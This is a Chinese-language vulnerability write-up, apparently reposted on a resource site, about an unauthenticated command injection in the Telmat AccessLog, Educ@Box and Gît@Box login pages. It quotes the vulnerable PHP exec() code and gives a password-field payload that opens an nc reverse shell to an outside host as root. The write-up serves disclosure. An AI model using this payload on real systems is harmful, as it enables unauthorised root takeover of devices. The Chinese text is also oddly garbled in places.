破绽描绘
Telmat AccessLog、Gît@Box 和 Educ@Box 的登录页面上的未经身份考证的代码注入软件版本<= 6.0 (TAL_20180415)允许远程代码执行 (RCE) 为root.
受影响的产品
TelMat AccessLog <= 6.0 (TAL_20180415)
TelMat Educ@Box <= 6.0 (TAL_20180415)
TelMat Gît@Box <= 6.0 (TAL_20180415)
破绽剖析
此破绽在 Telmat AccessLog 6.0 ( TAL_20180415) 上停止了测试:
在一次浸透测试中,我找到了 AccessLog 的登录页面。我试图在登录和密码字段上执行 SQL 注入以绕过身份考证机制。我留意到当密码包含单引号时,登录页面呈现了不测行为'。一切客户端的登录页面都被进度条取代,持续时间约为 10 到 15 分钟。(这可能招致回绝效劳)
运用我之前找到的Authenticated RCE,我提取了登录页面的内容/authent.php。在剖析了身份考证机制的工作原理之后,我发现了这个有趣的局部(文件中的第 56 到 72 行/authent.php):
if(isset($cpasswd)) {
unset($res);
if(strstr($cpasswd,"$apr1$")) {
$dpsd = explode("$",$cpasswd);
$salt = $dpsd[2];
$cmd = "/usr/bin/openssl passwd -apr1 -salt '" . $salt . "' '" . $_POST['whois_pas'] . "'";
exec($cmd,$res,$cr);
$ccpasswd = trim($res[0]);
} else {
$salt = mb_substr($cpasswd,0,2);
$cmd = "/usr/bin/openssl passwd -crypt -salt '" . $salt . "' '" . $_POST['whois_pas'] . "'";
exec($cmd,$res,$cr);
$ccpasswd = trim($res[0]);
}
// ...
}
我们能够看到whois_pasPOST恳求中变量的内容是直接追加到命令行的,没有经过过滤。我们如今只需求关闭单引号'并添加一个分号;,我们就能够直接注入 shell 命令。在我们的注入完毕时,我们添加一个#以注释掉命令行的其他局部。
破绽复现
为了取得反向外壳,我运用了以下有效负载:
Login (whois_adm) poc
Password (whois_pas) '; nc -e /bin/sh 1.2.3.4 4444 #
我们如今有一个未经身份考证的 RCE,此外还运转为root:
缓解措施
为了修补此破绽,您需求将固件更新到最新版本。
感谢您的来访,获取更多精彩文章请收藏本站。
![](https://www.gyzsq.com/wp-content/uploads/2022/07/9259adea4619.gif)
1 本站一切资源不代表本站立场,并不代表本站赞同其观点和对其真实性负责。
2 本站一律禁止以任何方式发布或转载任何违法的相关信息,访客发现请向站长举报
3 本站资源大多存储在云盘,如发现链接失效,请联系我们我们会第一时间更新。
![头像](/wp-content/themes/zibll/img/avatar-default.png)